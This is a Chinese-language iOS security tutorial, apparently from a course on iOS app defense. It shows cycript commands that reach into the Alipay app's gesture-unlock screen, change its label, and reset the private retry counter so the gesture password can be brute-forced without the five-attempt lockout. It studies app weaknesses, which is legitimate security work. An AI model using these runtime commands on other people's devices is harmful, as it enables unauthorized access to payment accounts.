之前僅僅介紹了工具的使用,本文將實踐一下如何利用 cycript 結合 class-dump 結果 hack,還要犧牲一下支付寶 App 。
首先,老套路,取到手勢解鎖界面的 View Controller:
cy# var app = [UIApplication sharedApplication]
@"<DFApplication: 0x1666c960>"
cy# var keyWindow = app.keyWindow
@"<UIWindow: 0x16591bd0; frame = (0 0; 320 568); gestureRecognizers = <NSArray: 0x1b047000>; layer = <UIWindowLayer: 0x165d0650>>"
cy# var root = keyWindow.rootViewController
@"<UINavigationController: 0x179779a0>"
cy# var visible = root.visibleViewController
@"<GestureUnlockViewController: 0x165de090>"
然后,對照 class-dump-z 結果,來分析 GestureUnlockViewController 有什么利用價值 :
@interface GestureUnlockViewController : DTViewController <UIAlertViewDelegate, GestureHeadImageViewDelegate> {
@private
GestureHeadImageView* _headImageView;
GestureTipLabel* _tipLabel;
GestureInputView* _inputView;
DTButton* _forgetButton;
DTButton* _changeAccountButton;
int _retryCount;
UIView* _guideView;
id<GestrueViewControllerDelegate> _delegate;
}
@property(assign, nonatomic) __weak id<GestrueViewControllerDelegate> delegate;
-(void).cxx_destruct;
-(BOOL)shouldAutorotateToInterfaceOrientation:(int)interfaceOrientation;
-(void)headClicked;
-(void)gestureInputView:(id)view didFinishWithPassword:(id)password;
-(void)gestureInputViewFirstEffectiveTouch:(id)touch;
-(void)alertView:(id)view clickedButtonAtIndex:(int)index;
-(void)actionChangeAccountToLogin;
-(void)actionResetPswBtnClick;
-(void)resetCurrentUser;
-(void)resetPsw;
-(void)viewWillDisappear:(BOOL)view;
-(void)notifyFaceToFacePayReceivedData:(id)facePayReceivedData;
-(void)viewWillAppear:(BOOL)view;
-(void)breakFirstRun;
-(BOOL)isFirstRun;
-(void)guideViewClicked:(id)clicked;
-(void)viewDidLoad;
-(void)viewWillLayoutSubviews;
@end
目測 _tipLabel 是寫賬戶名和提示操作的 label ,上篇文章我提到過:@private 限制不了 keyPath ,現在我們來修改一下支付寶登錄頁的用戶名信息:
cy# [visible setValue:@"Test By yiyaaixuexi" forKeyPath:@"_tipLabel.text"]
http://wiki.jikexueyuan.com/project/ios-security-defense/images/hack-practice.png" alt="hack-practice" />
支付寶手勢密碼解鎖有嘗試次數限制,連續(xù)錯 5 次就要重新登錄。
我想解除重試解鎖次數的限制,發(fā)現了記錄解鎖次數的類型是 int ,int _retryCount ,這一點讓我很不開心,因為我無法通過 KVC 來修改其值了。
但是沒有關系,我可以通過指針訪問:
cy# visible->_retryCount = 0
0
這樣我就能無限制的用程序暴力破解手勢密碼了,來計算一下有多少種可能呢?
http://wiki.jikexueyuan.com/project/ios-security-defense/images/hack-practice2.png" alt="hack-practice2" />
這個數字對我來說有點大,可是對 iPhone5 的 CPU 來說就是小菜一碟了~
等一下,密碼格式是什么呢?
-(void)gestureInputView:(id)view
didFinishWithPassword:(id)password;
id 類型的密碼,很嚴謹,又給 hack 帶來不少麻煩呀~ 不過沒關系,我們可以利用 Method Swizzling 來打出 password 到底是什么,不過呢,貌似可以再寫一篇新文章去介紹了……